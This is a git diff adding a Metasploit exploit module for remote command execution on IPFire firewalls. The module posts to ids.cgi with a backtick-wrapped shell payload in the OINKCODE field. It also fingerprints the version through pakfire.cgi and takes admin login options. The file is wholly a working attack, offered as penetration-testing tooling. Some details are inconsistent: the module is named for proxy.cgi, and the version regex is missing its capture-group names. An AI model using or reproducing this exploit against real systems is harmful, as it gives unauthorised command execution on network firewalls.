diff --git a/modules/exploits/linux/http/ipfire_oinkcode_exec.rb b/modules/exploits/linux/http/ipfire_oinkcode_exec.rb new file mode 100644 index 0000000000..57c1d8a0bf --- /dev/null +++ b/modules/exploits/linux/http/ipfire_oinkcode_exec.rb @@ -0,0 +1,111 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + Rank = ExcellentRanking + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPFire proxy.cgi RCE', + 'Description' => %q( + IPFire, a free linux based open source firewall distribution, + version < 2.19 Update Core 110 contains a remote command execution + vulnerability in the ids.cgi page in the OINKCODE field. + ), + 'Author' => + [ + 'h00die ', # module + '0x09AL' # discovery + ], + 'References' => + [ + [ 'EDB', '42149' ] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl awk openssl' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 09 2016' + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']), + Opt::RPORT(444) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => '/cgi-bin/pakfire.cgi', + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 + /\IPFire (?[\d.]{4}) \([\w]+\) - Core Update (?[\d]+)/ =~ res.body + + if version && update && version == "2.19" && update.to_i <= 110 + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + + res = send_request_cgi( + 'uri' => '/cgi-bin/ids.cgi', + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => + { + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi" + }, + 'data' => { + 'ENABLE_SNORT_GREEN' => 'on', + 'ENABLE_SNORT' => 'on', + 'RULES' => 'registered', + 'OINKCODE' => "`#{payload.encoded}`", + 'ACTION' => 'Download new ruleset', + 'ACTION2' => 'snort' + }, + ) + + # success means we hang our session, and wont get back a response + if res + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 + end + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end